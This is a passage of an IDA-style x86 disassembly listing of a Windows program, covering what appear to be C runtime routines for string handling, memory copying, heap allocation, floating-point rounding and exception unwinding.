cmp ecx, 8 jb short loc_417250 std rep movsd cld jmp off_417370[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417250 std rep movsd cld loc_4172C8: ; CODE XREF: sub_417090+1F5j jmp off_417370[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417250 std rep movsd cld jmp off_417370[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417324 dd offset loc_41732C dd offset loc_417334 dd offset loc_41733C dd offset loc_417344 dd offset loc_41734C dd offset loc_417354 off_417320 dd offset loc_417367 ; DATA XREF: sub_417090+1C2r ; --------------------------------------------------------------------------- loc_417324: ; DATA XREF: sub_417090+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41732C: ; DATA XREF: sub_417090+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417334: ; DATA XREF: sub_417090+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41733C: ; DATA XREF: sub_417090+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417344: ; DATA XREF: sub_417090+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41734C: ; DATA XREF: sub_417090+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417354: ; DATA XREF: sub_417090+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417367: ; CODE XREF: sub_417090+1C2j ; DATA XREF: sub_417090:off_417320o jmp off_417370[edx*4] ; --------------------------------------------------------------------------- align 10h off_417370 dd offset loc_417380 ; DATA XREF: sub_417090+1B7r ; sub_417090:loc_417274r ... dd offset loc_417388 dd offset loc_417398 dd offset loc_4173AC ; --------------------------------------------------------------------------- loc_417380: ; CODE XREF: sub_417090+1B7j ; sub_417090:loc_417274j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417388: ; CODE XREF: sub_417090+1B7j ; sub_417090:loc_417274j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417398: ; CODE XREF: sub_417090+1B7j ; sub_417090:loc_417274j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4173AC: ; CODE XREF: sub_417090+1B7j ; sub_417090:loc_417274j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4173D0 proc near ; CODE XREF: sub_4010B2+FCp ; sub_4010B2+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41741C loc_4173E0: ; CODE XREF: sub_4173D0+3Cj ; sub_4173D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417414 or al, al jz short loc_417410 cmp ah, [ecx+1] jnz short loc_417414 or ah, ah jz short loc_417410 shr eax, 10h cmp al, [ecx+2] jnz short loc_417414 or al, al jz short loc_417410 cmp ah, [ecx+3] jnz short loc_417414 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4173E0 mov edi, edi loc_417410: ; CODE XREF: sub_4173D0+18j ; sub_4173D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417414: ; CODE XREF: sub_4173D0+14j ; sub_4173D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41741C: ; CODE XREF: sub_4173D0+Ej test edx, 1 jz short loc_417438 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417414 inc ecx or al, al jz short loc_417410 test edx, 2 jz short loc_4173E0 loc_417438: ; CODE XREF: sub_4173D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417414 or al, al jz short loc_417410 cmp ah, [ecx+1] jnz short loc_417414 or ah, ah jz short loc_417410 add ecx, 2 jmp short loc_4173E0 sub_4173D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417460 proc near ; CODE XREF: sub_4010B2+19Ep ; sub_401A64+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417479 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417479: ; CODE XREF: sub_417460+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417460 endp ; =============== S U B R O U T I N E ======================================= sub_417494 proc near ; CODE XREF: sub_41751F+4p ; sub_42067A+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41749C: ; CODE XREF: sub_417494+34j cmp dword_438C8C, 1 jle short loc_4174B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A342 pop ecx pop ecx jmp short loc_4174C3 ; --------------------------------------------------------------------------- loc_4174B4: ; CODE XREF: sub_417494+Fj movzx eax, byte ptr [edi] mov ecx, off_438A80 mov al, [ecx+eax*2] and eax, 8 loc_4174C3: ; CODE XREF: sub_417494+1Ej test eax, eax jz short loc_4174CA inc edi jmp short loc_41749C ; --------------------------------------------------------------------------- loc_4174CA: ; CODE XREF: sub_417494+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4174DA cmp esi, 2Bh jnz short loc_4174DE loc_4174DA: ; CODE XREF: sub_417494+3Fj movzx esi, byte ptr [edi] inc edi loc_4174DE: ; CODE XREF: sub_417494+44j xor ebx, ebx loc_4174E0: ; CODE XREF: sub_417494+7Bj cmp dword_438C8C, 1 jle short loc_4174F5 push 4 push esi call sub_41A342 pop ecx pop ecx jmp short loc_417500 ; --------------------------------------------------------------------------- loc_4174F5: ; CODE XREF: sub_417494+53j mov eax, off_438A80 mov al, [eax+esi*2] and eax, 4 loc_417500: ; CODE XREF: sub_417494+5Fj test eax, eax jz short loc_417511 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4174E0 ; --------------------------------------------------------------------------- loc_417511: ; CODE XREF: sub_417494+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41751A neg eax loc_41751A: ; CODE XREF: sub_417494+82j pop edi pop esi pop ebp pop ebx retn sub_417494 endp ; =============== S U B R O U T I N E ======================================= sub_41751F proc near ; CODE XREF: sub_4013E8+12p ; sub_4013E8+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417494 pop ecx retn sub_41751F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41752A proc near ; CODE XREF: sub_401444+3A1p ; sub_401D6D+4F5p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419B38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417569 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417576 ; --------------------------------------------------------------------------- loc_417569: ; CODE XREF: sub_41752A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419A23 pop ecx pop ecx loc_417576: ; CODE XREF: sub_41752A+3Dj mov eax, esi pop esi leave retn sub_41752A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417580 proc near ; CODE XREF: sub_401D6D+2C3p ; sub_401D6D+2E3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4175FA mov dh, [ecx+1] test dh, dh jz short loc_4175E7 loc_417598: ; CODE XREF: sub_417580+52j ; sub_417580+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4175BA test al, al jz short loc_4175B4 loc_4175A9: ; CODE XREF: sub_417580+32j mov al, [esi] inc esi loc_4175AC: ; CODE XREF: sub_417580+3Fj cmp al, dl jz short loc_4175BA test al, al jnz short loc_4175A9 loc_4175B4: ; CODE XREF: sub_417580+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4175BA: ; CODE XREF: sub_417580+23j ; sub_417580+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4175AC lea edi, [esi-1] loc_4175C4: ; CODE XREF: sub_417580+63j mov ah, [ecx+2] test ah, ah jz short loc_4175F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417598 mov al, [ecx+3] test al, al jz short loc_4175F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4175C4 jmp short loc_417598 ; --------------------------------------------------------------------------- loc_4175E7: ; CODE XREF: sub_417580+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418C56 ; --------------------------------------------------------------------------- loc_4175F3: ; CODE XREF: sub_417580+49j ; sub_417580+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4175FA: ; CODE XREF: sub_417580+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417580 endp ; =============== S U B R O U T I N E ======================================= sub_417600 proc near ; CODE XREF: sub_4022B5+92p ; sub_4058E9+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417615 or eax, 0FFFFFFFFh jmp short loc_41764F ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417600+Ej test al, 83h jz short loc_41764D push esi call sub_41A4D0 push esi mov edi, eax call sub_41A46A push dword ptr [esi+10h] call sub_41A3B7 add esp, 0Ch test eax, eax jge short loc_41763B or edi, 0FFFFFFFFh jmp short loc_41764D ; --------------------------------------------------------------------------- loc_41763B: ; CODE XREF: sub_417600+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41764D push eax call sub_41793B and dword ptr [esi+1Ch], 0 pop ecx loc_41764D: ; CODE XREF: sub_417600+17j ; sub_417600+39j ... mov eax, edi loc_41764F: ; CODE XREF: sub_417600+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417656 proc near ; CODE XREF: sub_4022B5+8Cp ; sub_40EC43+2AD4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A5A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419B38 push [ebp+arg_0] mov edi, eax push esi call sub_41A62F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417656 endp ; =============== S U B R O U T I N E ======================================= sub_417688 proc near ; CODE XREF: sub_4176A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41A7DC test eax, eax jnz short loc_417692 retn ; --------------------------------------------------------------------------- loc_417692: ; CODE XREF: sub_417688+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A66C add esp, 10h retn sub_417688 endp ; =============== S U B R O U T I N E ======================================= sub_4176A8 proc near ; CODE XREF: sub_4022B5+54p ; sub_4058E9+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417688 add esp, 0Ch retn sub_4176A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176C0 proc near ; CODE XREF: sub_405983+2AEp ; sub_40A610+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417731 sub_4176C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4022B5+32p ; sub_4022B5+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4176EC loc_4176DD: ; CODE XREF: sub_4176D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41771F test ecx, 3 jnz short loc_4176DD loc_4176EC: ; CODE XREF: sub_4176D0+Bj ; sub_4176D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4176EC mov eax, [ecx-4] test al, al jz short loc_41772E test ah, ah jz short loc_417729 test eax, 0FF0000h jz short loc_417724 test eax, 0FF000000h jz short loc_41771F jmp short loc_4176EC ; --------------------------------------------------------------------------- loc_41771F: ; CODE XREF: sub_4176D0+12j ; sub_4176D0+4Bj lea edi, [ecx-1] jmp short loc_417731 ; --------------------------------------------------------------------------- loc_417724: ; CODE XREF: sub_4176D0+44j lea edi, [ecx-2] jmp short loc_417731 ; --------------------------------------------------------------------------- loc_417729: ; CODE XREF: sub_4176D0+3Dj lea edi, [ecx-3] jmp short loc_417731 ; --------------------------------------------------------------------------- loc_41772E: ; CODE XREF: sub_4176D0+39j lea edi, [ecx-4] loc_417731: ; CODE XREF: sub_4176C0+5j ; sub_4176D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417756 loc_41773D: ; CODE XREF: sub_4176D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_4177A8 mov [edi], dl inc edi test ecx, 3 jnz short loc_41773D jmp short loc_417756 ; --------------------------------------------------------------------------- loc_417751: ; CODE XREF: sub_4176D0+9Ej ; sub_4176D0+B8j mov [edi], edx add edi, 4 loc_417756: ; CODE XREF: sub_4176D0+6Bj ; sub_4176D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417751 test dl, dl jz short loc_4177A8 test dh, dh jz short loc_41779F test edx, 0FF0000h jz short loc_417792 test edx, 0FF000000h jz short loc_41778A jmp short loc_417751 ; --------------------------------------------------------------------------- loc_41778A: ; CODE XREF: sub_4176D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417792: ; CODE XREF: sub_4176D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41779F: ; CODE XREF: sub_4176D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4177A8: ; CODE XREF: sub_4176D0+72j ; sub_4176D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4176D0 endp ; =============== S U B R O U T I N E ======================================= sub_4177B0 proc near ; CODE XREF: sub_402394+19Cp ; sub_402394+1F0p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_4177D0 loc_4177BC: ; CODE XREF: sub_4177B0+19j mov al, [ecx] inc ecx test al, al jz short loc_417803 test ecx, 3 jnz short loc_4177BC add eax, 0 loc_4177D0: ; CODE XREF: sub_4177B0+Aj ; sub_4177B0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4177D0 mov eax, [ecx-4] test al, al jz short loc_417821 test ah, ah jz short loc_417817 test eax, 0FF0000h jz short loc_41780D test eax, 0FF000000h jz short loc_417803 jmp short loc_4177D0 ; --------------------------------------------------------------------------- loc_417803: ; CODE XREF: sub_4177B0+11j ; sub_4177B0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41780D: ; CODE XREF: sub_4177B0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417817: ; CODE XREF: sub_4177B0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417821: ; CODE XREF: sub_4177B0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_4177B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_402669+8p ; sub_402B61+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417850 loc_41783C: ; CODE XREF: sub_417830+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41783C loc_417850: ; CODE XREF: sub_417830+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417830 endp ; =============== S U B R O U T I N E ======================================= sub_41785F proc near ; CODE XREF: sub_4029C8+7Ap ; sub_4029C8+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417873 loc_41786B: ; CODE XREF: sub_41785F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41786B loc_417873: ; CODE XREF: sub_41785F+Aj mov edx, [esp+arg_4] push esi loc_417878: ; CODE XREF: sub_41785F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417878 pop esi retn sub_41785F endp ; =============== S U B R O U T I N E ======================================= sub_417889 proc near ; CODE XREF: sub_402B61+21Dp ; sub_402DB1+BEp ... arg_0 = dword ptr 4 push dword_48950C push [esp+4+arg_0] call sub_41789B pop ecx pop ecx retn sub_417889 endp ; =============== S U B R O U T I N E ======================================= sub_41789B proc near ; CODE XREF: sub_417889+Ap ; sub_4182F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_4178C4 loc_4178A2: ; CODE XREF: sub_41789B+27j push [esp+arg_0] call sub_4178C7 test eax, eax pop ecx jnz short locret_4178C6 cmp [esp+arg_4], eax jz short locret_4178C6 push [esp+arg_0] call sub_41A854 test eax, eax pop ecx jnz short loc_4178A2 loc_4178C4: ; CODE XREF: sub_41789B+5j xor eax, eax locret_4178C6: ; CODE XREF: sub_41789B+13j ; sub_41789B+19j retn sub_41789B endp ; =============== S U B R O U T I N E ======================================= sub_4178C7 proc near ; CODE XREF: sub_41789B+Bp arg_0 = dword ptr 4 mov eax, dword_48AB28 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_4178EB cmp esi, dword_48AB20 ja short loc_41791D push esi call sub_41ADDD test eax, eax pop ecx jz short loc_41791D pop esi retn ; --------------------------------------------------------------------------- loc_4178EB: ; CODE XREF: sub_4178C7+Dj cmp eax, 2 jnz short loc_41791D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417900 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417903 ; --------------------------------------------------------------------------- loc_417900: ; CODE XREF: sub_4178C7+2Fj push 10h pop esi loc_417903: ; CODE XREF: sub_4178C7+37j cmp esi, dword_43ACC4 ja short loc_41792A mov eax, esi shr eax, 4 push eax call sub_41B880 test eax, eax pop ecx jnz short loc_417939 jmp short loc_41792A ; --------------------------------------------------------------------------- loc_41791D: ; CODE XREF: sub_4178C7+15j ; sub_4178C7+20j ... test esi, esi jnz short loc_417924 push 1 pop esi loc_417924: ; CODE XREF: sub_4178C7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41792A: ; CODE XREF: sub_4178C7+42j ; sub_4178C7+54j push esi push 0 push dword_48AB24 call dword_4230E8 ; RtlAllocateHeap loc_417939: ; CODE XREF: sub_4178C7+52j pop esi retn sub_4178C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41793B proc near ; CODE XREF: sub_402DB1+10Bp ; sub_402DB1+113p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_4179A1 mov eax, dword_48AB28 cmp eax, 3 jnz short loc_417967 push esi call sub_41AA89 pop ecx test eax, eax push esi jz short loc_417993 push eax call sub_41AAB4 pop ecx pop ecx jmp short loc_4179A1 ; --------------------------------------------------------------------------- loc_417967: ; CODE XREF: sub_41793B+14j cmp eax, 2 jnz short loc_417992 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41B7E4 add esp, 0Ch test eax, eax jz short loc_417992 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41B83B add esp, 0Ch jmp short loc_4179A1 ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_41793B+2Fj ; sub_41793B+44j push esi loc_417993: ; CODE XREF: sub_41793B+20j push 0 push dword_48AB24 call dword_4230E4 ; RtlFreeHeap loc_4179A1: ; CODE XREF: sub_41793B+Aj ; sub_41793B+2Aj ... pop esi leave retn sub_41793B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4179A4(double) sub_4179A4 proc near ; CODE XREF: sub_403FA4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_438A40 call sub_41C47D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417A2A call sub_41C345 pop ecx test eax, eax pop ecx jle short loc_417A0D cmp eax, 2 jle short loc_4179FF cmp eax, 3 jnz short loc_417A0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BC55 add esp, 10h jmp short loc_417A6F ; --------------------------------------------------------------------------- loc_4179FF: ; CODE XREF: sub_4179A4+3Fj push esi push ebx call sub_41C47D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417A6F ; --------------------------------------------------------------------------- loc_417A0D: ; CODE XREF: sub_4179A4+3Aj ; sub_4179A4+44j fld [ebp+arg_0] fadd dbl_4236A0 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417A67 ; --------------------------------------------------------------------------- loc_417A2A: ; CODE XREF: sub_4179A4+2Fj call sub_41C30A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417A4D loc_417A3F: ; CODE XREF: sub_4179A4+ACj push esi push ebx call sub_41C47D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417A6F ; --------------------------------------------------------------------------- loc_417A4D: ; CODE XREF: sub_4179A4+99j test bl, 20h jnz short loc_417A3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417A67: ; CODE XREF: sub_4179A4+84j call sub_41BCA8 add esp, 1Ch loc_417A6F: ; CODE XREF: sub_4179A4+59j ; sub_4179A4+67j ... pop esi pop ebx leave retn sub_4179A4 endp ; =============== S U B R O U T I N E ======================================= sub_417A73 proc near ; CODE XREF: sub_4197B8+9p ; sub_41C546+21p ; DATA XREF: ... call sub_417A8B call sub_41C546 mov dword_489488, eax call sub_41C4F6 fnclex retn sub_417A73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417A8B proc near ; CODE XREF: sub_417A73p mov eax, offset sub_41C934 mov off_43ADE4, offset sub_41C5C9 mov off_43ADE0, eax mov off_43ADE8, offset sub_41C62F mov off_43ADEC, offset sub_41C56F mov off_43ADF0, offset sub_41C617 mov off_43ADF4, eax retn sub_417A8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AC4 proc near ; CODE XREF: sub_403FA4+1Bp ; sub_403FA4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417AC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417AEB(double) sub_417AEB proc near ; CODE XREF: sub_403FF0+83p ; sub_404904+395p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_438A58 call sub_41C47D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417B71 call sub_41C345 pop ecx test eax, eax pop ecx jle short loc_417B54 cmp eax, 2 jle short loc_417B46 cmp eax, 3 jnz short loc_417B54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BC55 add esp, 10h jmp short loc_417BB6 ; --------------------------------------------------------------------------- loc_417B46: ; CODE XREF: sub_417AEB+3Fj push esi push ebx call sub_41C47D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417BB6 ; --------------------------------------------------------------------------- loc_417B54: ; CODE XREF: sub_417AEB+3Aj ; sub_417AEB+44j fld [ebp+arg_0] fadd dbl_4236A0 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417BAE ; --------------------------------------------------------------------------- loc_417B71: ; CODE XREF: sub_417AEB+2Fj call sub_41C30A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417B94 loc_417B86: ; CODE XREF: sub_417AEB+ACj push esi push ebx call sub_41C47D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417BB6 ; --------------------------------------------------------------------------- loc_417B94: ; CODE XREF: sub_417AEB+99j test bl, 20h jnz short loc_417B86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417BAE: ; CODE XREF: sub_417AEB+84j call sub_41BCA8 add esp, 1Ch loc_417BB6: ; CODE XREF: sub_417AEB+59j ; sub_417AEB+67j ... pop esi pop ebx leave retn sub_417AEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417BBA proc near ; CODE XREF: sub_41CDA5+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417BBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417BEE proc near ; CODE XREF: sub_41CF56+199p ; sub_41D11A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417BEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417BF5 proc near ; CODE XREF: sub_41CF56+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417BF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417BFC proc near ; CODE XREF: sub_417DAE+5Cp ; sub_41CDA5:loc_41CDD6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417C24 push 0 push [ebp+arg_4] push [ebp+var_4] push 